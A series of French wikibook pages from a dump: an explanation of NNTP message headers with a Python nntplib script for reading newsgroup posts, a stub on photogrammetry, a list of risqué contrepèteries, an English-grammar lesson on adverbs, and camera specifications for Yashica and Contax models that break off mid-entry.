Plusieurs formats se sont cotoyés mais à notre connaissance, tous les messages sont désormais formattés selon les principes utilisés pour le courriel. Un message comporte donc les inévitables champs “From”, “Subject”, etc. Les en-têtes peuvent être examinées grâce à la plupart des clients comme [[w:Thunderbird|Thunderbird]] ou encore via Telnet au travers de la commande HEAD (voir l'exemple de session). Dans Thunderbird, en affichant l'intégralité du message, on peut voir les différents champs présents dans un message. On y retrouve des infos diverses comme le client utilisé pour l'envoi, la date d'envoi, le nom et le type du serveur, etc. Les plus intéressants du point de vue du NNTP sont le champ « Message-ID », les champs « Path » et surtout « References ». L'identifiant est sous la forme d'une adresse mail, il est unique avec un contenu aléatoire. La spécification recommande de ne pas utiliser le même identifiant avant deux ans, on peut toutefois se demander si ce conseil est encore valable. Le champ « Path » résume le chemin emprunté par le message pour arriver depuis l'expéditeur jusque dans votre serveur de nouvelles. En général, il y a relativement peu d'intermédiaires. Le champ « References » résume toute l'historique d'un message et permet de déterminer sa position dans l'arborescence d'un « thread » (discussion). La figure 1 montre comment le champ « References » évolue selon la hiérarchie du message : de droite à gauche dans le champ, on trouve l'identifiant du message parent, suivi du message grand-parent et ainsi de suite jusqu'à à arriver au premier message de la discussion concernée. Il est ainsi possible d'afficher les messages dans une structure en arbre comme dans Thunderbird en analysant les identifiants et en demandant au serveur d'envoyer les messages correspondants. À noter que le premier message d'une discussion n'a pas de champ « References » car il n'a bien entendu pas de parent. [[Image:Nntp tree.png|center|400px|thumb|Figure 1 - Hiérarchie des messages]] ==Mise en œuvre avec Python== [[w:Python (langage)|Python]] propose une librairie nommée ''nntplib'' qui gère les commandes NNTP. Réaliser une lecture automatique des messages d'un groupe donné est ainsi très facile, les noms des méthodes de la classe NNTP correspondent aux commandes en ASCII du protocole NNTP. Après avoir importé nntplib, on construit une instance via nntplib.NNTP(nom_du_serveur), la connexion est automatiquement lancée. On ne manquera pas d'englober les différents appels de fonctions dans des blocs try/except pour prendre en charge les erreurs et autres exceptions. La méthode « group » permet d'indiquer le groupe désiré. En retour, on obtient un tuple avec les informations sur le groupe : nombre d'articles, premier article, dernier article. On peut ensuite lancer une récupération du message en indiquant à la méthode « article » le numéro de l'article désiré. De la même manière que dans le protocole NNTP, l'en-tête peut être récupérée grâce à la méthode « head » et le contenu via « body ». Les tuples obtenus contiennent les champs du message. Le listing proposé récupère les 10 derniers messages dans le groupe « sci.crypt » et affiche leur contenu. Constituer une arborescence est un peu plus compliqué, il faut analyser le champ « References » et faire des appels à « article » avec les identifiants désirés, nous avons volontairement laissé de côté cette fonctionnalité. Pour poster des messages, la démarche est un peu plus complexe car il faut respecter les champs indiqués dans la spécification (RFC 1036), la méthode « post » de la classe NNTP permet ensuite d'envoyer le message. À cet effet, plusieurs groupes de test existent si vous voulez essayer de programmer une fonction d'envoi (alt.test, de.test, it.test, etc.). Pour l'envoi, le mieux est de se connecter au serveur de nouvelles de son fournisseur d'accès plutôt qu'un serveur gratuit, le constructeur de la classe NNTP permet d'indiquer le mot de passe et le nom d'utilisateur. ==Exemple complet== <pre><nowiki> # -*- coding: utf-8 -*- import nntplib, sys nomServeur = 'news.readfreenews.net' nomGroupe = 'sci.crypt' # connexion au serveur print '%s - connexion en cours' % nomServeur try: news = nntplib.NNTP(nomServeur) except: print 'connexion impossible' sys.exit() print 'connexion réussie : ' + news.getwelcome() # connexion au groupe print '%s - connexion au groupe' % nomGroupe try: groupe = news.group(nomGroupe) except: print 'impossible de se connecter au groupe' sys.exit() print 'connexion au groupe réussie : ' + groupe[0] # affichage des informations sur le groupe info = {} info["debut"] = groupe[2] info['fin'] = groupe[3] info['nombre'] = groupe[1] print "nombre d'articles : " + info['nombre'] print "identifiant du premier article : " + info['debut'] print "identifiant du dernier article : " + info['fin'] for i in range(int(info['fin'])-20, int(info['fin'])): article = news.article(str(i)) body = news.body(str(i)) print "="*80 print "Numéro: " + body[1] print "Message-ID: " + body[2] for j in article[3]: if ("References:" in j): print j print "-"*80 for i in body[3]: print i print "-"*80 </nowiki></pre> ==Liens utiles (en anglais)== * http://www.ietf.org/rfc/rfc0977.txt – description du protocole NNTP * http://www.ietf.org/rfc/rfc1036.txt - description du format USENET * http://docs.python.org/lib/module-nntplib.html – référence de nntplib * http://en.wikipedia.org/wiki/Usenet – article en anglais sur Usenet * http://www.newsservers.net/ - liste de serveurs de nouvelles gratuits Photographie - 23 - Photogrammétrie 6146 27159 2005-12-20T22:50:28Z Jean-Jacques MILAN 114 /* Un peu d'histoire */ faute de frappe {{Photographie}} {{ébauche}} En s'appuyant sur le principe de la stéréoscopie, la '''photogrammétrie''' permet de reconstituer avec précision les formes, les dimensions et les positions des objets, à partir de deux ou plusieurs clichés photographiques faisant apparaître des perspectives différentes de ces objets. On obtient finalement, par triangulation, les coordonnées en trois dimensions des divers points utiles de ces objets. == Un peu d'histoire == Le Colonel Aimé Laussedat (1819-1904) est considéré comme l'inventeur de la photogrammétrie. Ses premiers travaux ont porté sur l'amélioration des techniques de tracé des perspectives à l'aide de la chambre claire de Wollaston. Ce qui était auparavant tracé plus ou moins « à vue » l'est désormais avec une méthode rigoureuse et précise. Par la suite, l'arrivée des techniques photographiques rend l'enregistrement des perspectives beaucoup plus rapide et efficace et Laussedat rebaptise sa technique du nom de « Métrophotographie ». La photogrammétrie a permis dans ses débuts de réaliser des relevés topographiques précis. En 1850 ce sont tous les détails du château de Vincennes qui sont enregistrés. En 1861, pour la première fois, il relève la topographie d'un village complet, celui de Buc près de Versailles, en utilisant 8 plaques au collodion humide. Les applications principales étaient à l'origine essentiellement militaires, le but étant par exemple de relever les plans et la configuration des fortifications ennemies. Cependant, Laussedat réclama jusqu'à son dernier souffle la création d'un institut national d'archives métrophotographiques où seraient déposés tous les relevés des monuments historiques, à l'exemple du service d'archives créé en Allemagne par Meydenbauer. == Utilisations actuelles == On peut citer par exemple le tracé de cartes topographiques, les relevés d'architecture, les investigations de police, la géologie, l'archéologie, mais aussi le contrôle dimensionnel des pièces mécaniques complexes, comme des pales de turbines. Plus récemment, on étudie aussi les mouvements et les déformations des ensembles mécaniques et des systèmes de surveillance pilotés par des automates programmables industriels ont même été mis au point. Pour de telles applications, très liées à la reconnaissance des formes, il faut mettre en œuvre des algorithmes de calcul spécifiques. Livre d'humour/Liste de contrepèteries 6147 44691 2006-06-16T17:17:56Z 81.51.145.151 /* I */ {{SommaireCompact}} :::''(2) signifie que la phrase comprend deux contrepèteries.'' ==Menu de '''l'Auberge de Vendée'''== (ou ''Hôtel du congre debout et du bon coucher'') ::::::'''Menu''' :Rillettes en fût :Tourte de cailles :Mouton brouillant :Le caneton à la russe :Les nouilles cuisant au jus de canne (2) :Riz Condé :Jolies tranches dans le mou (la fine ou l'épaisse) :Escalopes sur une belle salade :Poire à la fine :Les "glacés du Mans" :Crème au goût de Mont-Blanc ==A== À la campagne, je perçois dans ma couche les mouvements des bœufs. À veaux sensibles, pis délicats. Allons, ma fille, essuie ça vite et bien. Après l'examen, les bachelières livrent leur Kant au feu. Arriver à pied par la Chine Attention le pont va casser . Attention vous videz vos nouilles sur ma cape! Au pensionnat, elles ont toutes un toit pour se doucher. Au vu de la vieille icône, l'élection du Grand parait problèmatique (2) Au Zambèze, les filles sont belles et gentilles Aux sites de Bologne, je préfère les mines de Pompéi (2) . Avec leur nouveau règlement sur les munitions ils nous en perdent. Avec leurs potes elles font rendre les mines. Avez-vous vu le bond de la crue. ==B== Bob hésite. [[w:Bouilleur de cru|Bouilleur de cru]]. Basculer sur le terrain de l'enquête. ==C== Cabine 13 Ce cabot de curé a des nouilles au jus (2). Ce couvent de femmes a été fondé par les Saluces. Ce cric a l'air bon. Ce jeune homme a une mine piteuse. Ce jeune homme est attaché aux bons Cordeliers. Ce jeune homme sort de l'[[w:École nationale supérieure des mines de Paris|École des Mines de Paris]]. Ce n'est pas au pieu qu'est réservé le plaisir de dîner. Ce n'est pas tout d'avoir un bon jute, il faut savoir rouir. Ce petit bouillon fait la joie du corps. Ce pichet a une belle mine. Ce terrible mondain s'insinue entre les riches. Ces garçons ont appris a calculer en cent leçons. Ces luttes perpétuelles épuisent la malheureuse Russie. Ces vastes fouilles n'ont donné que de vieux coutres. Ces vastes souilles améliorent le port de votre Calvi. C'est le petit vieux qui vend de la serge. C'est un facheux problème de math C'est un ministre décent. C'est une jolie bête qu'un faucon. Cette crue n'interdit pas d'aller jusqu'à la grotte. Cette femme a l'allure douteuse. Cette fois, j'ai senti le bout de ses galoches. Cette lutte est vraiment passive. Ce [[w:Jean-Marie Messier|Messier]] est fou ! [[w:Jacques Chirac|Chirac]], au fond à [[w:Bernadette Chirac|Bernadette]], il préfère les caisses noires. Ce sénégalais avait une chopine de cola. Ces danois me font penser à deux gros boeufs longs. Combien y a-t-il de feux dans votre Nantes? Comment peut-on dîner avec si maigre part! Comment vider notre cale sans boucher le trou du fond. [[w:Conan le barbare|Conan le barbare]]. Couds-la au fond! Couper les nouilles au sécateur ! [[w:Croix-de-feu|Croix-de-feu]]. ==D== Dans ce siècle de perdition, toutes les jeunes filles doutent de leur foi. Dans la nuit les Terre-Neuvas craignent les proues qui tuent. Défense aux dames patronesses de quêter sur un pliant. Des pêcheurs en quête de thon. Deux carrioles sans mulets. Direction et gestion. Dommage, j'étais en face de la poutre. Du moment que j'ai la cote je n'ai pas besoin de ton dû. ==E== Ecartez la mouche de cette colonne!! Échec et mat Elle a reçu toute la farine sur sa mante. Elle cuvait quand on l'a emballée. Elle en fait des chichis pour une pauvre mite dans sa botte! Elle hésitait à dévoiler son but devant tant de candeur. Elle m'a menti la sotte I Elle me met la garce sur le flanc pour me sécher! (2). Elles sont mordantes, les pipelettes de Pau!!!! En orient j'ai vu un grand nombre de sites en babouches. En se couchant, le valet pense à fermer la lumière. Encore une tine de pâté! Encouragé par sa femme le bûcheron fendait dix bois par jour. Et surtout par son admirable beauté de sites. ==F== ==G== Garçon, où fourre-t-on les billes ? Ghislaine jouit d'un nom bien coté. Goûtez-moi cette farce. ==H== Hâtez-vous de me faire la cour avant d'être marié. Henri a été maculé de boue. ==I== Il a laissé tomber sa gomme sur son plan. Il courait tant de buts divers, qu'il en perdait sa belle mine (2). Il est arrivé à pied par la Chine. Il est trop bon pour la quitter. Il faut être peu pour bien dîner . Il faut qu'il rende, ce vieux bouqin. Il le dit à deux femmes. Il m'a promis son tennis. Il ne faut pas mettre la tête de son lit dans les vitres. Il n'y a pas que de bons côtés au concours hippique. Il n'y a que la femme du meunier qui soit capable de bâter une mite. Il y a deux sortes de gendarmes: les courts et les longs. Il y a ici des tentes à foison. Il y a là de jolis sites pour bâtir. Il y a du Moka dans l'auto Kabile Il y a un coteau près du pont. Ils n'avaient que de vieilles caisses pour ranimer leur feu. ==J== J'ai admiré de jolis sites en faisant ma balade. J'ai bouffé dans la louche de la baronne. J'ai le nom de la russe sur le bout de la langue. J'ai mis en perce un fût de Kummel. J'aime à sucer le jonc de ma petite canne. J'aime le goût de ce petit blanc. J'approche le cou du but. [[w:Jean-Marie Le Pen|Jean-Marie Le Pen]]. (attribué à [[w:Jean Cocteau|Jean Cocteau]]) [[w:Jean-Paul II|Jean-Paul]], le pape. Je donnerais bien ma paie pour avoir votre rubis. Je munirai ta lame d'un beau manche en fer. Je n'aime pas le son de votre coeur. Je ne suis pas pressé pour dîner. Je suis fasciné par les grues des Causses. Je vous trouve un peu trop nourri pour mon goût. Je vous laisse le choix dans la date. Je vous vois bien en curé avec une calotte. Jeanne d'Arc avait une cotte de mailles. Joseph a maculé Henri. ==L== La baronne invite le penseur à dîner. La belle passagère a attrapé des coups sur le pont. La berge précède le vide. La bonne épouse connaît son dû. La bonne ménagère bouche les trous de mites. La boulangère a une maie qui rouille. La cantinière porte une grosse d'œufs au camp. La Chine se soulève à la vue des Nippons. La comtesse apercevait de superbes sites autour de son balcon. La cuisinière a reçu un coup sur son fond. La cuisinière fait des nouilles auprès de mon feu. La cuisinière s'est aperçue que son mouton bouillait. La cuvette est pleine de bouillon. La dame essuie son fard avec son manteau couvert de loutre. La dévote se contente d'un sort falot. La femme du capitaine m'a fait mander à bord. La femme du charpentier doit se contenter d'un petit feu de poutre. La femme du chef d'orchestre a fait mander le basson. La femme du contribuable demande qu'on modifie sa cote. La femme du mineur est ensevelie sous des piliers de mine. La fermière attrape les bttufs à la course. La fiancée du bijoutier est heureuse d'avoir à sa disposition une mine de perles. La fillette timide mâchait sa cotte, La flotte de la reine est prête. L'afrique en transe La jeune existentialiste se prête au jeu du néant. La jeune fille contemple un plant qui vient de la Guinée. La jeune fille toussait en se mouchant. La maison peut également procurer des rillettes en fût. La Miss pousse. La pauvre femme est folle de la messe. La petite espiègle me cacha les mouillettes. La petite nonne aime les gros œufs. Les présentes élections. La reine avait une pierre fine à la main. La résistance excite les sections de rapine. La rosière songe à la mine orgueilleuse du père. La serge du vicaire avait beaucoup plu à la dame du fiacre (2). La servante du curé se demande ce qu'il fait entre ses deux messes. La servante tire le pis de la vache. La vieille chouette suçait les vers du nid. l'ai touché l'autre jour un petit bon carré. Laisse ta biquette au pieu, Nanette! L'abeille coule. L'Afrique est bonne hôtesse. L'Américain montre à la jeune fille la pureté de son dollar . L'antiquaire emporte dans ses caisses le produit de mes fouilles. L'archéologue met le produit de ses fouilles dans de vieilles caisses. L'armurier se plaint que ma sœur lui couche les douilles. L'arrivée du régiment de Forbach nous a privé d'une bonne partie de messe. Le bourrelier aime mieux faire la bourre que de travailler le mouton. Le bout pendait. Le boutre du sultan coule au confluent de la Garonne. [[w:Le Caire|Le Caire]] est noir de monde. Le calot était dans le son. Le chasseur sous-marin recherche les fonds curieux. Le clerc du notaire ne peut atteindre son but. Le coche finit toujours par arriver au but. Le coureur a gagné, en se couchant, le but. Le cuisinier a un canard sur le feu. Le cuisinier met du coeur à ses bouillons. Le curé est devenu fou entre deux messes. Le douanier a visité les caisses de l'exploratrice jusqu'au fond. Le fard plaît aux dames. Le fiancé expose son vœu : un joli nid. Le grand Inquisiteur se plaint que ses fagots coûtent. Le grand nombre des monts empêche de les compter. Le gros entrepreneur pétrit le béton à la tonne. Le jardinier bine avec sa pelle. Le jeune homme qui vissait son lit. Le joueur adroit sait enfoncer la quille au but. Le légionnaire m'a passé le mot. Le magasinier a touché un bon de cretonne. Le maniement réitéré des fonds multiplie les mouvements de caisse. Le matelot veut quitter le bord de la Belle-Poule, Le mercanti vendait. assis sur une berge. Le mineur au pâle visage tire sa houille de bon coeur (2). Le ministre du commerce trouve que toutes les baisses sont faisables. Le ministre italien est tombé à la crise des Pouilles. Le mitrailleur a épuisé ses douilles sur un crapaud. Le mitron coffre le son de la boulangère. Le nom de Cana a un attrait mystique. Le paysan avait fourré son coutre dans un vieux fût. Le Périgord est réputé par sa culsme Le pirate ramène à son port une cargaison de butin. Le plan [[w:Charles de Gaulle|De Gaulle]] a fait saigner le cœur de [[w:Jacques Massu|Massu]]. (2) Le plongeur a exploré le fond de la Creuse. Le pont de la Belle Eugénie eit plein de curés. Le [[w:Pont Neuf|Pont Neuf]] fait un bon soixante pieds. Le roi en retarda la peine jusqu'au matin. Le roi nègre avait son gourbi plein de phonos. Le sabotier offrit une paire de galoches à sa bru. Le Sénégalais a emporté le quart et les douilles de l'Arabe comme souvenir. Le speaker nous brouille l'écoute avec sa panne de micro. (2) Le tapissier agite son pinceau dans le fond de la colle. Le tennis de [[w:Yannick Noah|Noah]] est prévisible Le tonnelier a une curieuse manière de défoncer les vieux fûts. Le touriste admire l'écusson de la Suisse. Le tout de mon cru (titre de recueil resté longtemps imaginaire, publié par Jacques Antel) Le tout est confus. Le vieil artisan tisse en plusieurs passes. Le vieux marcheur admire les fortifications de Metz. Le vieux marcheur veut courir sur le mont. Le vieux marin gratte le fond de sa quille avec un fer d'herminette (2). Le vieux monsieur parle d'un ton couvert. Le vieux passeur a la mine fatiguée. L'écuyère se plaint que le mouton de sa botte est trop dur. L'éleveur de colombins expose une paire de mâles. L'épicière ajoute un quart à son dû. L'épicurien se plaît à rechercher les sources du bonheur. L'épouse déplore que son mari soit mort fou. Les bas-quartiers de Paris sont minables. Les blanchisseuses de Toulon présentent à la marine des notes fort suspectes. Les bons italiens sont en caisse. Les canotières appréciaient la raideur des berges de visu. Les disciples d'Einstein voient le monde conique. Les discours de Bush sont longs et cassants. Les dockers ont de beaux cars. Les dockers sont allés décharger au su des caboteurs en grève. Les écoliers chahutent la maîtresse laissant faire. Les enfants vont près du feu pour faire briller leurs galoches. Les femmes au maître du sérail : « C'est votre mine qui nous peine ». Les femmes n'apprécient pas le marc trop doux. Les femmes n'ont pas l'habitude de mettre leur quart au trou du fût. Les fillettes jouent avec les pioches des mineurs. Les fouilles curieuses de Mme Dieu la foy. Les gites secouent la passagère qui crie et bascule. Les gros bceufs du nord ont fait souche dans le midi (2). Les Italiennes choisissent des quines à la Loterie des Pouilles. Les jeunes filles romanesques adorent les nids à verdure. Les laborieuses populations du Cap. Les lutins pêchent les maquereaux. Les marins jouaient avec des filles sur leur boutre. Les mutins passent la berge du ravin. (2) Les nouilles cuisent au jus de cane (2). Les nouilles ramollissent dans le corps. Les parachutistes se font légers pour mieux chuter. Les pensionnaires se battaient autour des turnes. Les ponts de Cologne sont immenses. Les quilles sont rangées en cercle autour d'un vieux fût. Les rédacteurs entrent en lutte dans les belles rubriques. Les saleurs couchent le thon avant de l'ouvrir . Les touristes ont attrapé des coups dans les Pouilles. Les trafiquants ont passé des peaux de lutin à Buenos-Aires. Les vertes graines. L'assureur est fou du malus. L'ingénieur avait fait poser une valise sur ma berge. L'Inspecteur primaire voudrait voir les bons cahiers. L'ouvrière est passive devant la linotype. L'usage d'inoculer du pus de génisse s'est répandu très rapidement. L'amiral nous brouille l'écoute avec sa panne de micro. (2) ==M== Ma cousine joue au tennis en pension. Ma dactylo n'a que faire de votre porte-mine I Ma femme se plaint qu'il n'y ait pas assez de sites dans la Beauce. Madame, votre caniche sent le moka. Madame, votre menthe a un goût de fiel ! Mademoiselle, laissez-moi vérifier la cote du mont. Mademoiselle, vous n'avez que vos petits pois pour dîner ? Marquise, votre balcon saille dangereusement. Ménagez votre course, n'abusez pas des bonds. Met ta casquette ! Monsieur, vous avez du feutre sur votre cou ! ==N== Ne critiquons pas les solutions de la peur. Ne trouvez-vous pas, Mademoiselle, que les Beaux Zarts sont un plaisir des Dieux ? Nos voeux ! Nous aurons du cran jusqu'au bout. Nous habitions des gîtes infâmes quai Branly. (2) (dans [[w:Le Père Noël est une ordure|Le père Noël est une ordure]]). Nous voyons bien ce que ces fouilles nous coûtent! ==O== On compte souvent plusieurs courses pour un seul but. On dîne mieux quand on est peu. On dort peu à l'hôtel du Bon Coucher. On peut s'orienter à la faveur d'une sente. On se passe facilement de lutins. Ordre de l'Amirauté : Ralentir si on se fait branler un peu à dix nreuds. Où avez-vous péché ces lubies ? Ovide exilé rencontra le bonheur au milieu des sites. ==P== Par ce temps orageux, toutes les mites sont au bout. Pas de bonne chasse sans solides pieds!!!! Pas même un quart de durée ! Peureuse Line. Plus d'un enfant des pouilles est mort dans la Castille. Plus elles mentent plus elles souillent. Plût au ciel que je fusse le cygne de Léda ! Pour atteindre le trou du fût, il faut écarter les caisses. Pour démolir ce pignon il faudrait une bien grosse mine. Pour entrer aux Carmélites il faut savoir utiliser le mot de guichet. Pour parvenir au but il faut beaucoup de courage. Pouvez-vous faire mander les basochiens ? ==Q== Quand elle a sa marotte, impossible de compter sur elle. Quand je prise les brunes, la noire me fuit (2). Quel bonheur pour la princesse que la dotation du roi. Quel extraordinaire fouillis de boutres emplit le port du cap! (2) Quelle bonne mine a Patrice, une bonne mine de Paris (2). Quel beau métier professeur ! Quelle bouille! Qu'elle cesse [[w:Linux|Linux]] ! ([[w:Linus Torvalds|Torvalds]]) Quelle drôle de bille tu faisais. Quelle fine mouche!!! Et quel culot!!!!! Quelle joie de se sentir quitte au but! Quelle sale guigne! Je me suis écorché le flanc! Qu'on vide ce muid sans qu'on m'en perde! ==R== Réduisez votre plan à la Grèce. il n'en sera que mieux, Rendez-vous dans cette baie, disait le pirate à son matelot. Rien n'est plus gracieux qu'une demoiselle en culotte et en corset!!!! Rien ne vaut un bon coup de marc après la dînette. Repugnante, la graisse de ces faucons!! ==S== Sagesse est source de foi. Salut Fred ! Salut Patrick ! Sans fin ni cesse. Si cette belle Line est déjà passée, que vais-je devenir? Si le mineur va chez la patronne, c'est que sa boniche l'a fait mander (2). Si les captives veulent manger faites-leur lécher les gamelles des mousses. Si tu touches à mon banc je boude. Si vous voulez que ces jeunes filles goûtent. donnez-leur des flans. Si vous voulez qu'on se taise baillez-moi donc une plume. Son engin sent le calvados. Son mari étant au bout, elle fit mander un prêtre. Son parrain a une belle mine. Surveillez la pente par où s'écoule votre fine. ==T== Taisez-vous dans le bas. Tendez votre lit en vert. ==U== Une belle thèse. Une dyne. Une fille honnête ne permet à personne de fouiller dans sa mante. ==V== [[Image:Vergerdesmuses.jpg|thumb|right|320px|Librairie à [[w:Bourg-la-Reine|Bourg-la-Reine]]]]. Vilain, tu voudrais que je te mouche! Voici un bon à toucher en arrivant au Cateau. Vos colliers font chics. Votre don me paraît fort coûteux. Votre tennis est bien propagé. Votre père a l'air mutin. Votre serre est exotique. Vous avez encore mussé le citron. Vous êtes bien bon d'être resté si longtemps à Candé. Voyez la jolie brique que m'a donnée une telle. Voyez sur ce pont ce caméléon. {| align=center cellpadding=5 style="border:1px solid #aaaaaa" | '''[[Livre d'humour/Contrepèteries|Retour au chapitre des contrepèteries]]''' |} {| align=center cellpadding=5 style="border:1px solid #aaaaaa" | '''[[Livre d'humour|Retour au Livre d’humour]]''' |} Anglais:Les adverbes 6149 42720 2006-05-18T07:25:26Z Mly 1518 /* Le comparatif et le superlatif de l'adverbe */ == Formes de l'adverbe == On peut former de nombreux adverbes, en particulier ceux de manière, en ajoutant le suffixe '''-ly''' à l'adjectif : slow --> slowly <br/>clear --> clearly Changements orthographiques : -y --> -ily ''happily, tidily, speedily'' <br/>-le --> -ly ''gently, nobly'' <br/>-ll --> -lly ''fully, dully'' <br/>-ic --> -ically ''drastically, historically'' Certains adverbes très courants ont la même forme que l'adjectif ou le déterminant correspondant : fast, early, wrong, late, right, hard, much, eiher, enough I got to work late. <br/>You didn't know about it either. On peut également former un adverbe à partir du participe du verbe en lui ajoutant le suffixe '''-ly''' : boringly, tiredly, repeatedly Remaques : Lorsque l'adjectif est déjà terminé par '''-ly''', ce qui est le cas pour un certain nombre d'entre eux comme ''friendly, silly, likely'', il faut utiliser l'expression '''in a ... way/manner''' : '''in a friendly way/manner.''' Certain adverbes en '''-ly''' n'ont pas le sens de l'adjectif à partir duquel ils ont été formés : '''late''' (en retard) / '''lately''' (récemment) '''I hit him as hard as I could''' : ''Je l'ai frappé aussi fort que j'ai pu.'' <br/>'''I hardly hit him''' : ''Je l'ai à peine touché.'' === Autres types d'adverbes === * Locutions adverbiales : '''''We won the game'' without much difficulty.''' <br/>'''''He'll be leaving for America '' next week.''' * Certaines prépositions, plus particulièrement celle de lieu sont souvent utilisées comme adverbes : '''''Philip sat down'' in front.''' <br/>'''''You've never told me that'' before.''' *On peut former un adverde en ajoutant un suffixe à la prépostion : '''''Wear a waterproof jacket and something warm'' underneath.''' <br/>'''''She spoke to me about it'' afterwards.''' === Le comparatif et le superlatif de l'adverbe === *La plupart des adverbe forment leur comparatif en ajutant more devant l'adverbe, et leur superlatif en ajoutant (the) most : '''''he spoke more angrily than he had before.''''' <br/>'''''he was the one who spoke (the) most angrily.''''' Quelques adverbes courants, '''soon, late, early, near, close''' ont un comparatif en '''-er''' et un superlatif en '''-est''' : '''''The builders completed the job sooner than Ihad expected.''''' <br/>'''''Who arrived the earliest ?''''' {| border="0" |+ ''Formes irrégulières :'' ! adverbe ! comparatif ! superlatif |----- | ''well'' | ''better'' | ''best'' |----- | ''badly'' | ''worse'' | ''worst'' |----- | ''much'' | ''more'' | ''most'' |----- | ''little'' | ''less'' | ''least'' |----- | ''far'' | ''farther/further'' | ''farthest/furthest'' |} *Le comparatif d'infériorité et d'égalité de l'adverbe se forme comme celui de l'adjectif : '''''We have started to look at this matter less favourably.''''' <br/>'''''She doesn't cook as well as his sister.''''' ''Remarque :'' L'adjectif au comparatif peut être employé de manière adverbiale : '''''Can't you work a little quicker / more quickly ?''''' == Place des adverbes == === Cas général === Les adverbes se placent généralement avant le verbe : <br />Exemple : I never eat meat. ''Je ne mange jamais de viande.'' === Autres cas === * Lorsque le verbe être est employé seul, on place l'adverbe après le verbe (conjugué).<br />Exemple : It was really good. ''C'était vraiment bien.'' <br /> * Lorsque le verbe est composé (temps composés), l'adverbe se place après le premier auxillaire.<br />Exemple : <br /> * Dans une phrase interrogative, l'adverbe se trouve après le sujet.<br />Exemple : Do you often watch TV ? ''Regardes-tu souvent la télé ?'' == Maybe et perhaps == == Vocabulaire == usually : habituellement<br />often : souvent<br />always : toujours<br />never : jamais<br /> sometimes : quelques fois ---- Retour [[Enseignement de l'anglais]] Contrepèterie 6150 26873 2005-12-16T18:22:33Z Darkdadaah 440 redirect vers le livre #REDIRECT [[Livre d'humour/Contrepèteries]] Photographie - 40 - Yashica 6151 27626 2005-12-25T22:00:28Z Jean-Jacques MILAN 114 /* Appareils réflex 24x36 */ {{Photographie}} == Appareils réflex 24x36 == === TL Super (vers 1969) === [[Image:Yashica TL super.jpg|thumb|180px|Yashica TL Super]] * '''Type d'appareil :''' 24 X 36 Réflex mono-objectif * '''Format de film :''' 135 * '''Objectifs :''' interchangeables, en standard 1,7/50 * '''Monture des objectifs :''' * '''Diaphragme :''' * '''Présélection du diaphragme :''' * '''Viseur :''' à prisme en toit * '''Informations dans le viseur :''' * '''Mise au point :''' manuelle, trois systèmes d'aide dans le viseur * '''Obturateur :''' * '''Prise de flash :''' * '''Déclencheur :''' * '''Contrôle de l'exposition :''' cellules dans le prisme * '''Sensibilité film / capteur :''' * '''Mémorisation de la mesure :''' * '''Retardateur :''' oui * '''Avance du film :''' * '''Correction d'exposition :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Touche de profondeur de champ :''' * '''Contrôle de piles :''' * '''Alimentation :''' * '''Interrupteur principal :''' * '''Dimensions :''' * '''Poids :''' (boîtier seul, sans pile). * '''Accessoires :''' * '''Remarques :''' === Contax RTS II quartz(vers 1983) === [[Image:Yashica Contax RTS II quartz vers 1983.jpg|thumb|180px|Contax RTS II quartz]] Appareil à vocation professionnelle, perfectionnement du Contax RTS et pièce centrale d'un système complet. Le dessin est dû aux bureaux d'études de Porsche et les 29 objectifs qui vont du F-Distagon 2,8/16 mm au Mirotar 5,6/1000 mm à miroir sont signés Carl Zeiss.<br> De nombreux accessoires sont utilisables, moteur ultra-rapide ou simple winder, alimentation extérieure, flashes, télécommandes par radio ou par infrarouge, soufflets et bagues pour la macrophotographie ou le montage sur microscope, viseurs d'angle, système de reproduction de diapositives, etc. * Appareil 24x36 reflex ; contrôle de l'exposition automatique à priorité à l'ouverture ou manuel ; pilotage par quartz ; système Contax TLA de contrôle automatique du flash. * Objectifs : à baïonnette Yashica/Contax * Viseur : pentaprisme à faces argentées montrant 97% du champ enregistré ; grossissement 0,87x ; obturateur d'oculaire incorporé, verres de visée interchangeables. * Obturateur plan-focal au titane piloté par quartz ; course horizon­tale. En mode automatique, vitesse variable en continu de 1/2000 s à 16 s ; en mode semi-automatique, vitesses réglables pas-à-pas de 1/2000 s à 4 s, pose B et «x» (1/60 s) ; couplage automatique flash/obturateur avec les modèles TLA ; deux vitesses mécaniques accessibles sans pile 1/50 s et B. * Déclencheur électromagnétique ; course 0,7 mm ; prise pour acces­soires de télécommande * Contrôle de l'exposition : mesure derrière l'objectif (TTL), intégrale pondérée au centre, par élément sensible au silicium ; sensibilité de IL-1 à IL+19 (100ASA, f/1,4) ; avec les flashes TLA, contrôle de l'éclair sur le plan du film (flash TTL). * Sensibilité film de 12 à 3200 ISO. * Informations dans le viseur : vitesse d'obturation par diodes électroluminescentes (DEL) numériques ; ouverture ; témoin de correction d'exposition par DEL +/- ; diode de contrôle du flash TLA ; témoins de sur et sous-exposition. Coupure automatique de l'affichage au bout de 1 s. * Mémorisation de la mesure : en mode automatique (le dispositif AE Lock bloque la mesure sur celle calculée par l'appareil (même si l'on modifie l'ouverture, la vitesse est corrigée en consé­quence). * Retardateur électronique contrôlé par quartz, débrayable à tout moment ; délai 10 s ; diode rouge témoin de fonctionnement. * Avance du film manuelle par levier d'armement rapide ; course 120°; au­tomatique par moteur RTW à 3 im/s ou moteur PMD à 6 im/s. * Correction d'exposition de -2 à +21L en 1/2 paliers. * Compteur de vues additif et remise à zéro automatique ; jusqu'à l'apparition de la vue n°1, la vitesse d'obturation se commute automatiquement sur le 1/60 s. * Expositions multiples : on peut débrayer l'axe d'entraînement et le compte-­vues en enfonçant le bouton de rembobinage. * Touche de profondeur de champ * Contrôle de la pile : la diode de contrôle clignote lorsque la tension commence à baisser. * Alimentation : une pile à l'oxyde d'argent 6,2V (4SR44) ou alcalino-­manganèse (4LR44). * Interrupteur principal : deux positions (ON/OFF) ; active les fonctions électro­niques. * Dimensions : 142 x 89,5 x 50 mm (boîtier seul). * Poids: 735 g (boîtier seul, sans pile). === Contax 137 MA quartz (vers 1983) === [[Image:Yashica Contax 137 MA quartz.jpg|thumb|180px|Yashica Contax 137 MA quartz]] * Type : appareil 24x36 reflex ; contrôle de l'exposition auto­matique à priorité à i'ouverture, ou manuel ; pilotage par quartz ; système Contax TLA de contrôle automatique du flash ; entrainement direct incorporé, * Viseur : pentaprisme à faces argentées montrant 95% du champ enregistré ; grossissement 0,86x . * Monture d'objectif : baîonnette Contax/Yashica à trois griffes * Obturateur : plan-focal, toilé, piloté par quartz ; course horizontale. En mode automatique, vitesse variable en continu de 1/1000 s à 11 s ; en mode 